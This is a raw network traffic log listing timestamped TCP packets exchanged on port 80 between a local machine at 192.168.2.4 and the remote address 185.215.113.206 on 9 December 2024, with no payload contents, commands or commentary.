Dec 9, 2024 20:27:33.220580101 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.220665932 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.220810890 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.220858097 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.220897913 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.220938921 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.221807957 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.221858978 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.222148895 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.222198009 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.222208977 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.222249031 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.223233938 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.223331928 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.223357916 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.223392010 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.224219084 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.224267960 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.224318981 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.224500895 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.225183964 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.225229025 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.225290060 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.225475073 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.226123095 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.226166010 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.226326942 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.226370096 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.227210999 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.227248907 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.227256060 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.227283001 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.228152037 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.228210926 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.228224993 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.228264093 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.229221106 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.229275942 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.229280949 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.229317904 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.230140924 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.230197906 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.230251074 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.230308056 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.231210947 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.231286049 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.231359005 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.231498957 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.232144117 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.232228041 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.232264996 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.232301950 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.233181000 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.233228922 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.233231068 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.233263969 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.234270096 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.234311104 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.234353065 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.235141039 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.235194921 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.235234976 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.235272884 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.236164093 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.236246109 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.236296892 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.236335993 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.237178087 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.237334013 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.237354994 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.237410069 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.238173008 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.238224983 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.238368034 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.238405943 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.239192009 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.239242077 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.239270926 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.239346981 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.240169048 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.240215063 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.240221024 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.240257025 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.241255045 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.241334915 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.241338015 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.241378069 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.242171049 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.242221117 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.242275000 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.242314100 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.243194103 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.243237972 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.243331909 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.243513107 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.244127989 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.244179964 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.244249105 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.244303942 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.245148897 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.245198011 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.245210886 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.245246887 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.246128082 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.246196985 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.246241093 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.246295929 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.247157097 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.247205973 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.247258902 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.247294903 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.248142958 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.248187065 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.248378992 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.248424053 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.249145031 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.249193907 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.249242067 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.249279976 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.250180960 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.250231028 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.250288963 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.250334024 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.251094103 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.251136065 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.251249075 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.251291990 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.252116919 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.252161980 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.252204895 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.252243996 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.253148079 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.253199100 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.253206968 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.253232002 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.254154921 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.254199982 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.254328966 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.254370928 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.255297899 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.255345106 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.255390882 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.255430937 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.256249905 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.256297112 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.256346941 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.256387949 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.257246971 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.257294893 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.257308960 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.257350922 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.258287907 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.258336067 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.258347988 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.258393049 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.259149075 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.259195089 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.259246111 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.259293079 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.260128021 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.260174036 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.260242939 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.260298967 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.261193991 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.261244059 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.261245012 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.261281013 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.262178898 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.262259960 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.262276888 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.262326002 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.263114929 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.263170004 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.263490915 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.263539076 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.264094114 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.264151096 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.264323950 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.264369965 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.265122890 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.265177965 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.265247107 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.265295982 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.266047955 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.266115904 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.266182899 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.266230106 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.267071009 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.267126083 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.267189980 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.267241955 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.268069029 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.268106937 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.268136978 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.268165112 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.269078016 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.269134998 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.269382000 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.269431114 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.270071030 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.270119905 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.270183086 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.270227909 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.271152020 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.271200895 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.271344900 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.271392107 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.272069931 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.272115946 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.272125006 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.272165060 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.418695927 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.418745995 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.418879986 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.418948889 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.418996096 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.419575930 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.419639111 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.420022011 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.420073986 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.420353889 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.420408010 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.420984983 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.421040058 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.421132088 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.421181917 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.421989918 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.422077894 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.422128916 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.422904015 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.422967911 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.422970057 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.423012972 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.423928976 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.423983097 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.424015045 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.424057961 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.424850941 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.424899101 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.424954891 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.425003052 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.425883055 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.426069021 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.426141977 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.426894903 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.426954031 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.426984072 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.427023888 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.427867889 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.427920103 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.427957058 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.428004026 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.428924084 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.428977966 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.428996086 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.429049969 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.429878950 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.429939985 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.429994106 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.430885077 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.430938959 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.430974960 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.431020975 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.431858063 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.431910038 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.431927919 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.431969881 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.432857037 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.432905912 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.432909012 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.432948112 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.433845997 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.433929920 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.433985949 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.434839010 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.434891939 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.434928894 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.434969902 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.435872078 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.435923100 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.435954094 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.435995102 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.436860085 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.436913013 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.436994076 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.437038898 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.437854052 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.437968016 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.438018084 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.438894987 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.438941956 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.438945055 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.438982964 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.439939022 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.439999104 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.440013885 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.440053940 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.440850973 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.440901041 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.440932035 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.440979958 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.441870928 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.442043066 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.442101002 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.442912102 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.442960024 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.442992926 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.443034887 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.443850040 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.443905115 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.443984032 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.444026947 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.444848061 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.444905043 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.445027113 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.445075989 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.445858955 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.446065903 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.446119070 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.446841955 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.446893930 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.446957111 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.447006941 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.448005915 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.448029041 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.448059082 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.448079109 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.448816061 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.449140072 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.449203014 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.449898958 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.450069904 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.450119972 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.450925112 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.450969934 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.451013088 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.451057911 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.451848030 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.451898098 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.451913118 CET	80	49740	185.215.113.206	192.168.2.4
